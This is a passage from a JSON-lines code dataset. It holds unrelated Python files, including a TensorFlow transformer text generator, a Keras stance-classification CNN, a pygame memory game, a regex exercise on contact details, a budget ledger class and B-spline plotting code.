word.find(i) for i in string.ascii_lowercase}\n\nprint(\" \".join([str(i) for i in result.values()]))","sub_path":"Python/alphabetPos.py","file_name":"alphabetPos.py","file_ext":"py","file_size_in_byte":1331,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"307964681","text":"import numpy as np\nimport tensorflow as tf\nfrom tensorflow.random import categorical\nfrom typing import Dict, List\n\n\nclass FFN(tf.keras.layers.Layer):\n def __init__(self, d_model, dff):\n super().__init__()\n self.dff = dff\n self.dense1 = tf.keras.layers.Dense(dff, activation=\"relu\")\n self.dense2 = tf.keras.layers.Dense(d_model)\n\n def call(self, inputs):\n outputs = self.dense1(inputs)\n outputs = self.dense2(outputs)\n return outputs\n\n\nclass Block(tf.keras.layers.Layer):\n def __init__(self, d_model: int, dff: int = 2048, heads: int = 8, rate: int = 0.1):\n super().__init__()\n\n assert d_model%heads==0\n\n # parameters\n self.d_model = d_model # model dims \n self.dff = dff # ffn dense layer units\n self.heads = heads # number of heads\n\n # layers\n self.ffn = FFN(d_model, dff)\n self.ln1 = tf.keras.layers.LayerNormalization()\n self.ln2 = tf.keras.layers.LayerNormalization()\n self.wq = tf.keras.layers.Dense(self.d_model)\n self.wv = tf.keras.layers.Dense(self.d_model)\n self.dropout1 = tf.keras.layers.Dropout(rate)\n self.dropout2 = tf.keras.layers.Dropout(rate)\n self.mha = tf.keras.layers.MultiHeadAttention(num_heads=self.heads, key_dim=self.d_model)\n\n\n def call(self, inputs, training=False, mask=None):\n q = self.wq(inputs) # (None, seq_len, d_model)\n v = self.wv(inputs) # (None, seq_len, d_model)\n\n # mask is 1 for keeping and 0 for removing\n attention_outputs = self.mha(query=q, value=v, attention_mask=mask) # (None, query_len, d_model)\n dropped_attention_outputs = self.dropout1(attention_outputs, training=training)\n outputs1 = self.ln1(inputs+dropped_attention_outputs)\n\n ffn_outputs = self.ffn(outputs1) # (None, query_len, d_model)\n dropped_ffn_outputs = self.dropout1(ffn_outputs, training=training)\n outputs = self.ln2(outputs1+dropped_ffn_outputs) # (None, query_len, d_model)\n \n return outputs\n\n\n\nclass Poet(tf.keras.models.Model):\n def __init__(self, preprocessor, num_blocks=1, d_model=256, \n dff=512, heads=8,rate=0.1):\n super().__init__()\n\n # parameters\n self.d_model = d_model\n self.preprocessor = preprocessor\n self.num_blocks = num_blocks\n\n # generating pos encoding now to save time while calling call()(as it is constant for all examples)\n self.pos_encoding = self.positional_encoding()\n \n # layers\n self.embedding_layer = tf.keras.layers.Embedding(self.preprocessor.vocab_size, self.d_model)\n self.dropout = tf.keras.layers.Dropout(rate)\n self.blocks = [Block(d_model=self.d_model, dff=dff, heads=heads, rate=rate) for i in range(self.num_blocks)]\n self.final_layer = tf.keras.layers.Dense(self.preprocessor.vocab_size)\n\n\n def call(self, inputs, training=False):\n \n embeddings = self.embedding_layer(inputs)\n\n embeddings *= tf.math.sqrt(tf.cast(self.d_model, tf.float32))\n\n # adding positional encoding\n x = embeddings + self.pos_encoding\n \n # generate lookahead mask\n mask = self.lookahead_mask(self.preprocessor.seq_len)\n\n x = self.dropout(x, training=training)\n\n # passing rich attention embedding through each block\n for block in self.blocks:\n x = block(x, training=training, mask=mask)\n \n outputs = self.final_layer(x)\n \n return outputs\n\n def generate(self, inputs, return_seq=False, value=1, sampling=\"top_k\"):\n \n sampling_strategies = set({\"top_k\", \"temperature\", \"top_p\"})\n assert sampling in sampling_strategies, f\"sampling value should be one of {sampling_strategies}\"\n \n curr_seq = inputs.numpy()\n padded_pos = tf.math.equal(curr_seq, 0)\n\n if return_seq:\n probabs = []\n\n for i in range(self.preprocessor.seq_len):\n logits = self.call(curr_seq)[0, i:i+1, :]\n # shutting probabilities according to temperature\n # mask = tf.cast(tf.logical_not(tf.math.less(probab, 1-temperature)), dtype=tf.float32)\n # probab *= mask\n if sampling==\"temperature\":\n logits = self.temperature_sampling(logits, temperature=value)\n \n if sampling==\"top_k\":\n logits = self.top_k_sampling(logits, k=value)\n \n if sampling==\"top_p\":\n logits = self.top_p_sampling(logits, p=value)\n \n probab = tf.keras.activations.softmax(logits)\n \n if return_seq:\n probabs.append(probab)\n \n next_id = categorical(probab, 1)[0, 0]\n if padded_pos[:, i].numpy(): \n curr_seq[:, i] = next_id\n\n # else:\n # # shutting probabilities according to temperature\n # probab = tf.keras.activations.softmax(logits)\n # if return_seq:\n # probabs.append(probab)\n # mask = tf.cast(tf.logical_not(tf.math.less(probab, 1-value)), dtype=tf.float32)\n # # print(\"current timestep probablities:\\n\", tf.reduce_sum(tf.logical_not(tf.math.equal(probab, 0))).numpy())\n # # probab *= mask\n # # print(\"current timestep probablities after mask:\\n\", tf.reduce_sum(tf.logical_not(tf.math.equal(probab, 0))).numpy())\n # # next_id = categorical(probab, 1)[0, 0]\n # next_id = tf.argmax(probab, axis=-1)\n # if padded_pos[:, i].numpy(): \n # curr_seq[:, i] = next_id\n\n if return_seq:\n return self.preprocessor.get_text(curr_seq)[0, 0], curr_seq, probabs\n return self.preprocessor.get_text(curr_seq)[0, 0]\n\n \n def temperature_sampling(self, logits, temperature=1):\n assert temperature>0 and temperature<=1, \"temperature should be between 0 and 1\"\n return logits/temperature\n\n \n def top_k_sampling(self, logits, k=None):\n if k is None:\n k = logits.shape[-1]\n values, _ = tf.math.top_k(logits, k=k)\n not_top_k_indices = logits < tf.expand_dims(values[:, -1], -1)\n top_k_logits = self.set_value_on_indices(logits=logits, indices=not_top_k_indices, value=1e-9)\n return top_k_logits\n\n\n def top_p_sampling(self, logits, p=1):\n sorted_indices = tf.argsort(logits, direction=\"DESCENDING\")\n # Flatten logits as tf.gather on TPU needs axis to be compile time constant.\n logits_shape = logits.shape\n range_for_gather = tf.expand_dims(tf.range(0, logits_shape[0]), axis=1)\n range_for_gather = tf.tile(range_for_gather * logits_shape[1],\n [1, logits_shape[1]]) + sorted_indices\n flattened_logits = tf.reshape(logits, [-1])\n flattened_sorted_indices = tf.reshape(range_for_gather, [-1])\n sorted_logits = tf.reshape(\n tf.gather(flattened_logits, flattened_sorted_indices),\n [logits_shape[0], logits_shape[1]])\n cumulative_probs = tf.cumsum(tf.nn.softmax(sorted_logits, axis=-1), axis=-1)\n\n # Remove tokens with cumulative probability above the threshold.\n sorted_indices_to_remove = cumulative_probs > p\n\n # Shift the indices to the right to keep the first token above threshold.\n sorted_indices_to_remove = tf.roll(sorted_indices_to_remove, 1, axis=-1)\n sorted_indices_to_remove = tf.concat([\n tf.zeros_like(sorted_indices_to_remove[:, :1]),\n sorted_indices_to_remove[:, 1:]\n ], -1)\n\n # Scatter sorted indices to original indexes.\n indices_to_remove = self.scatter_values_on_batch_indices(sorted_indices_to_remove, sorted_indices)\n \n top_p_logits = self.set_value_on_indices(logits, indices_to_remove, np.NINF)\n \n return top_p_logits\n\n \n @staticmethod\n def scatter_values_on_batch_indices(values, batch_indices):\n \"\"\"Scatter `values` into a tensor using `batch_indices`.\n Args:\n values: tensor of shape [batch_size, vocab_size] containing the values to\n scatter\n batch_indices: tensor of shape [batch_size, vocab_size] containing the\n indices to insert (should be a permutation in range(0, n))\n Returns:\n Tensor of shape [batch_size, vocab_size] with values inserted at\n batch_indices\n \"\"\"\n tensor_shape = batch_indices.shape\n broad_casted_batch_dims = tf.reshape(\n tf.broadcast_to(\n tf.expand_dims(tf.range(tensor_shape[0]), axis=-1), tensor_shape),\n [1, -1])\n pair_indices = tf.transpose(\n tf.concat([broad_casted_batch_dims,\n tf.reshape(batch_indices, [1, -1])], 0))\n return tf.scatter_nd(pair_indices, tf.reshape(values, [-1]), tensor_shape)\n \n\n @staticmethod\n def set_value_on_indices(logits, indices, value):\n value = tf.zeros_like(logits) + value # (seq_len, vocab_size)\n new_logits = tf.where(indices, value, logits) # (seq_len, vocab_size)\n return new_logits\n\n \n\n @staticmethod\n def get_angles(pos, i, dims):\n angle_rates = 1 / (10000 ** ((2 * (i//2)) / dims))\n return pos * angle_rates\n \n \n # @staticmethod\n # def embedding_from_file(embeddings: Dict, word_ids: Dict, vocab_size: int, embedding_dims: int):\n # embed = np.random.rand(vocab_size, embedding_dims) # (vocab-size, embedding_dims)\n # words = word_ids.keys() # words in preprocessor's vocab list\n # hits, misses = 0,0\n # for word, emb in embeddings.items():\n # if word in words:\n # hits += 1\n # embed[word_ids[word]] = emb\n # else:\n # misses+=1\n # print(f\"Embeddings hits: {hits}, misses: {misses} from the trained embeddings\")\n # return embed\n\n\n def positional_encoding(self):\n angle_rads = self.get_angles(np.arange(self.preprocessor.seq_len)[:, np.newaxis],\n np.arange(self.d_model)[np.newaxis, :],\n self.d_model\n )\n \n # apply sin to even indices in the array; 2i\n angle_rads[:, 0::2] = np.sin(angle_rads[:, 0::2])\n\n # apply cos to odd indices in the array; 2i+1\n angle_rads[:, 1::2] = np.cos(angle_rads[:, 1::2])\n\n pos_encoding = angle_rads[np.newaxis, :]\n\n return tf.cast(pos_encoding, dtype=tf.float32)\n \n \n @staticmethod\n def lookahead_mask(seq):\n return tf.linalg.band_part(tf.ones((seq, seq)), -1, 0)\n\n","sub_path":"model/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":11028,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"320065104","text":"from keras import Sequential, Model\nfrom keras.callbacks import TensorBoard\nfrom keras.layers import MaxPooling1D, Conv1D, Dropout, Concatenate, Dense, Flatten, AveragePooling1D\nfrom keras.utils import to_categorical\nfrom keras_preprocessing.sequence import pad_sequences\nfrom keras.optimizers import Adam\nimport numpy as np\nfrom sklearn.metrics import accuracy_score, f1_score\n\nfrom util.GoogleVectorizer import GoogleVectorizer\nfrom util.FNCData import FNCData\nfrom util.eval import eval_predictions\nfrom util.misc import get_class_weights, log, get_tb_logdir\nfrom util.plot import plot_keras_history, plot_confusion_matrix\n\n\ndef get_1d_pool(pool_size, max_pool=True):\n return MaxPooling1D(pool_size=pool_size) if max_pool else AveragePooling1D(pool_size=pool_size)\n\n\ndef get_input_cnn(input_shape, dropout, conv_num_hidden, conv_kernel_size, max_pool, pool_size):\n cnn = Sequential()\n\n cnn.add(\n Conv1D(\n filters=conv_num_hidden,\n kernel_size=conv_kernel_size,\n activation='relu',\n input_shape=input_shape\n )\n )\n cnn.add(Dropout(dropout))\n cnn.add(get_1d_pool(pool_size=pool_size, max_pool=max_pool))\n\n cnn.add(Conv1D(filters=conv_num_hidden, kernel_size=conv_kernel_size, activation='relu'))\n cnn.add(Dropout(dropout))\n cnn.add(get_1d_pool(pool_size=pool_size, max_pool=max_pool))\n\n cnn.add(Conv1D(filters=conv_num_hidden * 2, kernel_size=conv_kernel_size, activation='relu'))\n cnn.add(Dropout(dropout))\n cnn.add(get_1d_pool(pool_size=pool_size, max_pool=max_pool))\n\n cnn.add(Conv1D(filters=conv_num_hidden * 2, kernel_size=conv_kernel_size, activation='relu'))\n cnn.add(Dropout(dropout))\n\n cnn.add(Conv1D(filters=conv_num_hidden * 3, kernel_size=conv_kernel_size, activation='relu'))\n cnn.add(Dropout(dropout))\n\n return cnn\n\n\nclass CiscoCNN(object):\n\n def __init__(self, input_shape, dropout=0.5, conv_num_hidden=256, conv_kernel_size=3, max_pool=True,\n pool_size=2, dense_num_hidden=1024, lr=0.001, beta_1=0.9, beta_2=0.999, epsilon=1e-8):\n claim_cnn = get_input_cnn(\n input_shape=input_shape,\n dropout=dropout,\n conv_num_hidden=conv_num_hidden,\n conv_kernel_size=conv_kernel_size,\n max_pool=max_pool,\n pool_size=pool_size\n )\n body_cnn = get_input_cnn(\n input_shape=input_shape,\n dropout=dropout,\n conv_num_hidden=conv_num_hidden,\n conv_kernel_size=conv_kernel_size,\n max_pool=max_pool,\n pool_size=pool_size\n )\n\n merged_mlp = Concatenate()([claim_cnn.output, body_cnn.output])\n merged_mlp = Flatten()(merged_mlp)\n merged_mlp = Dense(dense_num_hidden, activation='relu')(merged_mlp)\n merged_mlp = Dense(dense_num_hidden, activation='relu')(merged_mlp)\n merged_mlp = Dense(dense_num_hidden, activation='relu')(merged_mlp)\n merged_mlp = Dense(3, activation='softmax')(merged_mlp)\n\n complete_model = Model([claim_cnn.input, body_cnn.input], merged_mlp)\n\n # Create the optimizer\n optimizer = Adam(lr=lr, beta_1=beta_1, beta_2=beta_2, epsilon=epsilon)\n\n complete_model.compile(optimizer=optimizer, loss='categorical_crossentropy', metrics=['accuracy'])\n complete_model.summary()\n self.model = complete_model\n\n def train(self, titles, bodies, labels, epochs, seq_len, num_classes=3,\n batch_size=32, val_split=0.2, verbose=1, logs_name=None):\n # Do sequence padding\n titles = pad_sequences(titles, maxlen=seq_len, dtype='float32')\n bodies = pad_sequences(bodies, maxlen=seq_len, dtype='float32')\n labels = to_categorical(labels, num_classes=num_classes)\n class_weights = get_class_weights(labels)\n log(\"Calculated class weights\")\n log(class_weights)\n # Init tensorboard\n callbacks = []\n if logs_name is not None:\n callbacks.append(TensorBoard(log_dir=get_tb_logdir(f\"CiscoCNN_{logs_name}\")))\n return self.model.fit(\n [titles, bodies],\n labels,\n batch_size=batch_size,\n epochs=epochs,\n verbose=verbose,\n validation_split=val_split,\n class_weight=class_weights,\n callbacks=callbacks\n )\n\n def predict(self, titles, bodies, seq_len, batch_size=32, verbose=1):\n titles = pad_sequences(titles, maxlen=seq_len, dtype='float32')\n bodies = pad_sequences(bodies, maxlen=seq_len, dtype='float32')\n return self.model.predict(\n [titles, bodies],\n batch_size=batch_size,\n verbose=verbose\n )\n\n\nif __name__ == '__main__':\n # Model Params\n NUM_CLASSES = 3\n SEQ_LEN = 500\n EMB_DIM = 300\n INPUT_SHAPE = (SEQ_LEN, EMB_DIM)\n DROPOUT = 0.5\n NUM_CONV_HIDDEN = 256\n KERNEL_SIZE_CONV = 3\n USE_MAXPOOL = False\n POOL_SIZE = 2\n NUM_DENSE_HIDDEN = 1024\n # Optimizer\n ADAM_LR = 0.0002\n ADAM_B1 = 0.1\n ADAM_B2 = 0.001\n ADAM_EPSILON = 1e-08\n\n # Training Params\n NUM_EPOCHS = 30\n BATCH_SIZE = 64\n TRAIN_VAL_SPLIT = 0.2\n\n # Vectorize Data\n # v = GoogleVectorizer(path='../util/GoogleNews-vectors-negative300.bin.gz')\n data = FNCData(\n # stance_f='../data/train_stances.csv',\n # body_f='../data/train_bodies.csv',\n # max_seq_len=SEQ_LEN, vectorizer=v,\n # pkl_to='../data/vectorized_data_balanced.pkl',\n # bal_stances=True,\n pkl_from='../data/vectorized_data.pkl',\n )\n\n # Create model\n model = CiscoCNN(\n input_shape=INPUT_SHAPE,\n dropout=DROPOUT,\n conv_num_hidden=NUM_CONV_HIDDEN,\n conv_kernel_size=KERNEL_SIZE_CONV,\n max_pool=USE_MAXPOOL,\n pool_size=POOL_SIZE,\n dense_num_hidden=NUM_DENSE_HIDDEN,\n lr=ADAM_LR,\n beta_1=ADAM_B1,\n beta_2=ADAM_B2,\n epsilon=ADAM_EPSILON\n )\n\n # Train the model\n history = model.train(\n titles=data.headlines,\n bodies=data.bodies,\n labels=data.stances,\n epochs=NUM_EPOCHS,\n seq_len=SEQ_LEN,\n batch_size=BATCH_SIZE,\n num_classes=NUM_CLASSES,\n val_split=TRAIN_VAL_SPLIT,\n logs_name=f\"{NUM_CONV_HIDDEN}CONV-{NUM_DENSE_HIDDEN}DENSE-{DROPOUT}DOUT-{USE_MAXPOOL}MXPL-{NUM_EPOCHS}EPOCHS\"\n )\n\n # Plot training history\n plot_keras_history(history, True)\n\n # Evaluate model\n test_data = FNCData(\n # max_seq_len=500,\n # vectorizer=v,\n # stance_f='../data/competition_test_stances.csv',\n # body_f='../data/competition_test_bodies.csv',\n # pkl_to='../data/vectorized_data_test.pkl',\n # bal_stances=False,\n pkl_from='../data/vectorized_data_test.pkl'\n )\n y_true = test_data.stances\n y_pred = model.predict(\n titles=test_data.headlines,\n bodies=test_data.bodies,\n seq_len=SEQ_LEN,\n batch_size=BATCH_SIZE\n )\n y_pred = [np.argmax(i) for i in y_pred]\n\n eval_predictions(y_true=y_true, y_pred=y_pred, print_results=True)\n","sub_path":"models/CiscoCNN.py","file_name":"CiscoCNN.py","file_ext":"py","file_size_in_byte":7106,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"610839450","text":"from time import time\n\n\nclass Camera(object):\n\n def __init__(self):\n self.frames = [open('templates/images/' + 'frame' + str(f) + '.jpg', 'rb').read() for f in list(range(412))]\n self.counter = 0\n self.last_frame_update_time = time()\n\n def get_frame(self):\n current_time = time()\n if current_time - self.last_frame_update_time > 0.033333:\n self.counter += 1\n self.last_frame_update_time = current_time\n\n return self.frames[self.counter % 412]\n\n # return self.frames[int(time() * 100) % 412]\n # self.counter += 1\n # return self.frames[self.counter % 412]\n","sub_path":"camera.py","file_name":"camera.py","file_ext":"py","file_size_in_byte":645,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"611970596","text":"# Memory Game\n\nimport pygame\nfrom pygame.locals import *\nimport sys\nimport pygwidgets\nfrom GameMgr import *\n\nWINDOW_WIDTH = 780\nWINDOW_HEIGHT = 400\nFRAMES_PER_SECOND = 30\n\n# Initialization\npygame.init()\nwindow = pygame.display.set_mode([WINDOW_WIDTH, WINDOW_HEIGHT])\nclock = pygame.time.Clock() # set the speed (frames per second)\n\n# Create variables\noGameMgr = GameMgr(window)\noBackground = pygwidgets.Image(window, (0, 0), 'images/background.png')\noNewGameButton = pygwidgets.CustomButton(window, (490, 323),\n up='images/newGame.png', over='images/newGameOver.png',\n down='images/newGameDown.png')\n\n### MAIN LOOP\nwhile True:\n\n for event in pygame.event.get():\n # check if the event is the close button\n if event.type == pygame.QUIT:\n pygame.quit()\n sys.exit()\n\n elif oNewGameButton.handleEvent(event):\n oGameMgr.reset()\n\n elif event.type == MOUSEBUTTONDOWN:\n mouseX, mouseY = event.pos\n oGameMgr.handleClick(mouseX, mouseY)\n\n\n oGameMgr.update() # To allow for timing to reset incorrect guess and update fields\n\n # Draw everything\n oBackground.draw()\n oGameMgr.draw()\n oNewGameButton.draw()\n \n # Update the window\n pygame.display.update()\n\n # Slow things down a bit\n clock.tick(FRAMES_PER_SECOND) # make pygame wait the correct amount","sub_path":"MemoryGame copy/Main_MemoryGame.py","file_name":"Main_MemoryGame.py","file_ext":"py","file_size_in_byte":1436,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"289300121","text":"#Given an input file which contains list of names, phone numbers and email-ids separated by spaces in the following format:-\n#Alex 80-23425525 alex234@yahoo.com\n#Emily 322-56775342 em_44@gmail.com\n#Grace 20-24564555 softech_grace@rediffmail.com\n#Phone number contains 3 or 2 digit area code and a hyphen followed by 8 digit number\n#Perform the following using regular expressions:-\n#\tFind all names having phone numbers with 3 digit area code.\n#\tFind the total number of people having Gmail id.\n#\tFind user name part of email id for all people whose name start with 'G' or 'E' and ends with 'y'\n\nimport re\n\n#Find all phone numbers having 4 consecutive 0s at the end.\nf = open(\"details.txt\",\"r\")\nprint(\"\\n2a Solution\\n\")\nfor line in f:\n\tm=re.search(r\"[a-zA-z]+\\s+(\\d{2,3}-\\d{4}0{4})\\s+\",line)\n\tif m:\n\t\tprint(m.group(1))\nf.close()\n\n#Find all names having phone numbers with 3 digit area code.\nf = open(\"details.txt\",\"r\")\nprint(\"\\n2b Solution\\n\")\nfor line in f:\n\tm=re.search(r\"([a-zA-z]+)\\s+\\d{3}-\\d{8}\\s+\",line)\n\tif m:\n\t\tprint(m.group(1))\nf.close()\n\n#Find the total number of people having Gmail id.\nf = open(\"details.txt\",\"r\")\nall_lines = f.read()\nprint(\"\\n2c Solution\\n\")\nL = re.findall(r\"\\w+@gmail\\.com\",all_lines)\nprint(L)\nprint(len(L))\nf.close()\n\n#Find user name part of email id for all people whose name start with 'G' or 'E' and ends with 'y'\nf = open(\"details.txt\",\"r\")\nprint(\"\\n2d Solution\\n\")\nfor line in f:\n\tm = re.search(r\"^[GE][a-z]*y\\s+.*\\s+(\\w+)@\\w+\\.\\w+\",line)\n\tif m:\n\t\tprint(m.group(1))\nf.close()\n\n#Find all names whose phone numbers are not in proper format.\nf = open(\"details.txt\",\"r\")\nprint(\"\\n2e Solution\\n\")\nfor line in f:\n\tm = re.search(r\".*\\s+\\d{2,3}-\\d{8}\",line)\n\tif not m:\n\t\tm=re.search(r\"(^[A-Z][a-z]+)\",line)\n\t\tprint(m.group(1))\nf.close()","sub_path":"Prog_7a.py","file_name":"Prog_7a.py","file_ext":"py","file_size_in_byte":1765,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"283469420","text":"class Category:\n\n def __init__(self, category):\n self.category = category\n self.ledger = []\n self.spent = 0\n\n def deposit(self, amount, description=''):\n if not self.ledger:\n self.balance = amount\n else:\n self.balance += self.ledger[-1]['amount']\n self.ledger.append({\"amount\": amount, \"description\": description})\n\n def check_funds(self, amount):\n if self.balance >= amount:\n return True\n return False\n\n def withdraw(self, amount, description=''):\n if self.check_funds(amount):\n self.spent += amount\n self.balance -= amount\n self.ledger.append({\"amount\": -amount, \"description\": description})\n return True\n return False\n\n def get_balance(self):\n return self.balance\n\n def transfer(self, amount, category):\n if self.check_funds(amount):\n self.withdraw(amount, f'Transfer to {category.category}')\n category.deposit(amount, f'Transfer from {self.category}')\n return True\n return False\n\n def __str__(self):\n title = f'{self.category:*^30}\\n'\n items = ''\n for item in self.ledger:\n desc = item['description'][:23]\n amount = f'{item[\"amount\"]:.2f}'[:7]\n items += f'{desc:<23}{amount:>7}\\n'\n total = f'{self.get_balance():.2f}'[:7]\n return f'{title}{items}Total: {total}'\n\ndef create_spend_chart(categories):\n down_space = f'{\"\":4}'\n up = 'Percentage spent by category\\n'\n mid = first_mid = end_mid = down = end_down = ''\n all_spent = sum([cat.spent for cat in categories])\n all_percentage = {cat.category: cat.spent / all_spent * 100 for cat in categories}\n for i in reversed(range(0, 101, 10)):\n first_mid = f'{i:>3}|'\n end_mid = ''\n for cat in all_percentage:\n if all_percentage[cat] >= i:\n val = 'o'\n else:\n val = ''\n end_mid += f'{val:^3}'\n mid += f'{first_mid}{end_mid} \\n'\n mid_line = f'{down_space}{\"-\" * (len(categories) * 3 + 1)}\\n'\n words_array = [i.category.split() for i in categories]\n max_word = max([len(i.category) for i in categories])\n for i in range(max_word):\n end_down = ''\n for word in words_array:\n if len(word[0]) > i:\n val = word[0][i]\n else:\n val = ''\n end_down += f'{val:^3}'\n if i < max_word - 1:\n down += f'{down_space}{end_down} \\n'\n else:\n down += f'{down_space}{end_down} '\n return f'{up}{mid}{mid_line}{down}'\n","sub_path":"budget.py","file_name":"budget.py","file_ext":"py","file_size_in_byte":2665,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"518333530","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport scipy.io\n\ndef basicFun(t,i,p,u):\n\n \"\"\"Calculates the basic function. Recursive form of b-spline(defination).\n\n Arguments\n ---------\n t: Array of knot positions\n i: ith knot interval\n p: degree of B-spline\n u: current position\n \"\"\"\n\n if p==0:\n if t[i]<=u<=t[i+1]:\n return 1\n else:\n return 0\n else:\n if ((t[i+p]-t[i])<1e-5):\n w1 = 0\n else:\n w1 = (u-t[i]) / (t[i+p]-t[i])\n if ((t[i+p+1] - t[i+1])<1e-5):\n w2 = 0\n else:\n w2 = (t[i+p+1]-u) / (t[i+p+1] - t[i+1])\n return basicFun(t,i,p-1,u) * w1 + basicFun(t,i+1,p-1,u) * w2\n\ndef deBoor(x, t, c, p):\n \"\"\"Evaluates S(x).\n\n Arguments\n ---------\n x: Position.\n t: Array of knot positions, needs to be padded.\n c: Array of control points.\n p: Degree of B-spline.\n \"\"\"\n \n #automatically find in which interval k lies\n k = -1\n for i in range(np.shape(t)[0]):\n if x < t[i]:\n k = i - 1\n break\n if k == -1:\n return c[-1,:]\n \n d = [c[j + k - p,:] for j in range(0, p + 1)]\n\n for r in range(1, p + 1):\n for j in range(p, r - 1, -1):\n alpha = (x - t[j + k - p]) / (t[j + 1 + k - r] - t[j + k - p])\n d[j] = (1.0 - alpha) * d[j - 1] + alpha * d[j]\n\n return d[p]\n\ndef plotBasicFun():\n m = 100\n t = np.array([0,.25,.5,.75,1.])\n u = np.linspace(0.,1.,m)\n res = np.zeros((m,4))\n for p in range(4):\n for p_ in range(4-p):\n for k in range(m):\n res[k,p_] = basicFun(t, p_, p, u[k])\n\n plt.figure()\n plt.title(f'B-spline basic Function of {p}th degree')\n plt.plot(u,res[:,:4-p])\n plt.show()\n\ndef plotCumulativeBasicFun():\n m = 100\n t = np.array([0,.25,.5,.75,1.])\n u = np.linspace(0.,1.,m)\n res = np.zeros((m,4))\n for p in range(4):\n for p_ in range(4-p):\n for k in range(m):\n res[k,p_] = basicFun(t, p_, p, u[k])\n\n plt.figure()\n plt.title(f'B-spline basic Function of {p}th degree')\n plt.plot(u,res[:,:4-p])\n plt.show()\n if (p == 1) :\n plt.figure()\n plt.title(f'B-spline cumulative basic Function of {p}th degree')\n plt.plot(u[:-25],res[:-25,0]+res[:-25,1]+res[:-25,2])\n plt.plot(u[:-25],res[:-25,1]+res[:-25,2])\n plt.plot(u[:-25],res[:-25,2])\n plt.show()\n\ndef plotBSpline(t,c):\n \n p = 3 \n\n m = 101\n u = np.linspace(0,1,m)\n res = np.ones((m,2))\n for i in range(m):\n res[i,:] = deBoor(u[i], t, c, p)\n\n plt.figure()\n plt.plot(c[:,0], c[:,1], 'r.-',label = \"control points\")\n plt.plot(res[:,0],res[:,1], label = \"B-spline trajectory\")\n plt.title(\"plot of B-spline using De Boor Algorithm\")\n plt.legend()\n plt.show()\n\ndef ploReverseBSpline():\n k=3\n n=5\n\n file = scipy.io.loadmat('interp.mat')\n X = file['X']\n data = X[::25,:]\n\n ls = np.sqrt((data[1:,0]-data[:-1,0])**2 + (data[1:,1]-data[:-1,1])**2)\n L = ls.sum()\n knots = np.concatenate((np.zeros(4),np.array([ls[0],ls[:2].sum(),ls[:3].sum()])/L, np.ones(4)))\n\n delta = knots[1:] - knots[:-1]\n a = np.zeros(4)\n b = np.zeros(4)\n c = np.zeros(4)\n e = np.zeros((4,2))\n for i in range(1,4):\n a[i] = (delta[i+2])**2 / (delta[i]+delta[i+1]+delta[i+2])\n b[i] = delta[i+2]*(delta[i]+delta[i+1]) / (delta[i]+delta[i+1]+delta[i+2]) + delta[i+1]*(delta[i+2]+delta[i+3]) / (delta[i+3]+delta[i+1]+delta[i+2])\n c[i] = (delta[i+1])**2 / (delta[i+3]+delta[i+1]+delta[i+2])\n e[i,:] = (delta[i+1]+delta[i+2]) * data[i-1,:]\n\n A = np.zeros((4,4))\n a1 = 1- delta[3]*delta[4] / (delta[3]+delta[4])**2\n b1 = delta[3] /(delta[3]+delta[4]) * (delta[3] /(delta[3]+delta[4]) - delta[3] /(delta[3]+delta[4]+delta[5]))\n c1 = delta[3]**2 / ((delta[3]+delta[4])*(delta[3]+delta[4]+delta[5]))\n e1 = 1/3 * (data[0,:] +2*data[1,:])\n\n an = -delta[n]**2/((delta[n-1]+delta[n])*(delta[n-1]+delta[n]+delta[n-2]))\n bn = delta[n]/(delta[n-1]+delta[n]) * (delta[n]/(delta[n-2]+delta[n-1]+delta[n]) - delta[n-1]/(delta[n-1]+delta[n]))\n cn = delta[n-1]*delta[n]/(delta[n-1]+delta[n])**2 - 1\n en = -1/3 * (data[-1,:] + 2*data[-2,:])\n # an = -delta[n]**2/((delta[n-1]+delta[n])*(delta[n-1]+delta[n]+delta[n-2]))\n # bn = delta[n]/(delta[n-1]+delta[n]) * (delta[n]/(delta[n-2]+delta[n-1]+delta[n]) - delta[n-1]/(delta[n-1]+delta[n]))\n # cn = delta[n-1]*delta[n]/(delta[n-1]+delta[n])**2 - 2\n # en = -data[-1,:] - data[-2,:]\n\n A = np.zeros((4,4))\n A[0,0] = a1\n A[0,1] = b1\n A[0,2] = c1\n\n A[1,0] = a[2]\n A[1,1] = b[2]\n A[1,2] = c[2]\n\n A[2,1] = a[3]\n A[2,2] = b[3]\n A[2,3] = c[3]\n\n A[3,1] = an\n A[3,2] = bn\n A[3,3] = cn\n print(\"A\\n\",A)\n\n e[0,:] = e1\n e[1,:] = e[2]\n e[2,:] = e[3]\n e[3,:] = en\n\n print(\"e\\n\",e)\n\n d = np.linalg.inv(A) @ e\n # d[-1,1] = 2.5\n\n d = np.vstack((data[0,:],data[0,:],d,data[-1,:]))\n print(\"d\\n\",d)\n\n m = 101\n u = np.linspace(0,1,m)\n res = np.ones((m,2))\n for i in range(m):\n res[i,:] = deBoor(u[i], knots, d, 3)\n\n\n plt.figure()\n plt.scatter(data[:,0],data[:,1],label = \"data points\")\n plt.scatter(d[:,0], d[:,1],label = \"recovered control points\")\n plt.plot(X[:,0],X[:,1],label = \"original B-spline trajectory\")\n plt.plot(res[:,0],res[:,1], label = \"recovered B-spline trajectory\")\n plt.legend()\n plt.show()\n # plotBSpline(knots, d)\n\n\n\n\n\nif __name__ == \"__main__\":\n t = np.array([0,0,0,0,0.25,0.5,0.75,1.,1.,1.,1.])\n c = np.array([[1,3],[2,1],[3,6],[4,4],[5,6],[6,4],[7,9]]) \n\n #plotBasicFun()\n plotCumulativeBasicFun()\n plotBSpline(t,c)\n #ploReverseBSpline()\n","sub_path":"Python/BSplineExamples.py","file_name":"BSplineExamples.py","file_ext":"py","file_size_in_byte":5829,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"455379298","text":"from flask import Flask, render_template, request, jsonify\nimport sqlite3\n\napp = 